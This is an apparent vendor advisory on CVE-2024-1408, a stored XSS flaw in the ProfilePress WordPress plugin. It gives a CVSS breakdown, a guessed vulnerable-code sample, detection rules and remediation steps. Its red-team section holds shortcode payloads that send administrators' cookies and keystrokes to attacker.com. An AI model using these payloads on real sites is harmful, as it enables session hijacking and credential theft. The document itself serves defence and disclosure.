CVE-2024-1408
Executive Summary
CVE-2024-1408 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions up to and including 4.14.4). The flaw resides in the edit-profile-text-box shortcode, where user-supplied attributes (specifically type) are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript into profile pages. When other users (including administrators) view the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 6.4 (Medium). No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. ProfilePress is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires contributor-level or higher access.
- User Interaction (UI): None (N) – No user action needed for execution.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the attack surface. However, the stored nature of the XSS and the potential for privilege escalation (e.g., stealing admin cookies) elevates the risk for WordPress sites with multiple user roles.
Deep Dive & Mechanics
The vulnerability exists in the edit-profile-text-box shortcode provided by the ProfilePress plugin. This shortcode is used to render text input fields in user profile edit forms. The plugin fails to properly sanitize the type attribute passed to the shortcode. An attacker can inject malicious HTML/JavaScript by crafting a shortcode like:
[edit-profile-text-box type="text" onfocus="alert('XSS')" autofocus="autofocus"]
When the shortcode is processed, the type attribute is output directly into the HTML without escaping. The injected onfocus event handler triggers when the input field receives focus, which can happen automatically via the autofocus attribute. The script executes in the context of the victim's browser.
The attack flow:
- An authenticated contributor creates or edits a page/post containing the malicious shortcode.
- The shortcode is rendered on the profile edit page.
- When an administrator or other user visits the page, the injected script executes.
- The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.14.4): The plugin likely uses a function similar to:
function edit_profile_text_box_shortcode($atts) {
$atts = shortcode_atts(array('type' => 'text'), $atts);
return '<input type="' . $atts['type'] . '" />';
}
The type attribute is directly concatenated into the HTML output without escaping.
Patched Code (Hypothetical):
function edit_profile_text_box_shortcode($atts) {
$atts = shortcode_atts(array('type' => 'text'), $atts);
$allowed_types = array('text', 'email', 'url', 'tel', 'number');
$type = in_array($atts['type'], $allowed_types) ? $atts['type'] : 'text';
return '<input type="' . esc_attr($type) . '" />';
}
The patched version validates the type against a whitelist and uses esc_attr() to escape the output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with ProfilePress plugin <= 4.14.4
- Contributor-level account or higher
Exploit Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode:
[edit-profile-text-box type="text" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="autofocus"] - Publish the post.
- When an administrator views the post, the script executes and sends their cookies to the attacker's server.
Alternative Payload (Keylogger):
[edit-profile-text-box type="text" onkeypress="fetch('https://attacker.com/log?key='+String.fromCharCode(event.which))" autofocus="autofocus"]
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing the
edit-profile-text-boxshortcode with unusual attributes. - Look for HTTP requests to unknown external domains originating from WordPress admin pages.
- Use Web Application Firewall (WAF) rules to block suspicious shortcode attributes.
Prevention:
- Disable the ProfilePress plugin until a patch is available.
- Restrict contributor-level permissions to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline script execution.
Indicators of Compromise (IOCs)
File Indicators:
- Presence of
wp-content/plugins/wp-user-avatar/directory (ProfilePress plugin path). - Modified post/page content containing
[edit-profile-text-box type="..."]with event handlers.
- Presence of
Network Indicators:
- Outbound HTTP requests to unknown domains from WordPress admin IPs.
- Requests containing
document.cookiein the query string.
Log Indicators:
- WordPress audit logs showing creation of posts/pages by contributors with unusual shortcode usage.
- Web server logs showing
POSTrequests towp-admin/admin-ajax.phpwith suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2024_1408_ProfilePress_XSS {
meta:
description = "Detects malicious shortcode injection in ProfilePress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1408"
strings:
$shortcode = /\[edit-profile-text-box[^\]]*type\s*=\s*["'][^"']*["'][^\]]*\]/ nocase
$event_handler = /on\w+\s*=\s*["'][^"']*["']/ nocase
condition:
$shortcode and $event_handler
}
Sigma Rule
title: CVE-2024-1408 ProfilePress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in ProfilePress plugin via shortcode injection
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'edit-profile-text-box'
cs-uri-query|re: 'type\s*=\s*["\'][^"\']*["\']'
condition: selection
falsepositives:
- Legitimate use of the shortcode with valid attributes
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1408 ProfilePress Stored XSS Exploit"; flow:to_server,established; content:"edit-profile-text-box"; http_uri; pcre:"/type\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfilePress plugin until an official patch is released.
- Review all posts/pages created by contributors for malicious shortcode usage.
- Reset all user sessions to invalidate any stolen cookies.
Long-term Fix:
- Apply the vendor patch when available (currently UNKNOWN).
- Implement input validation and output escaping for all shortcode attributes.
- Use a Web Application Firewall (WAF) with rules to block XSS payloads.
Workaround:
- Restrict contributor permissions to only trusted users.
- Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.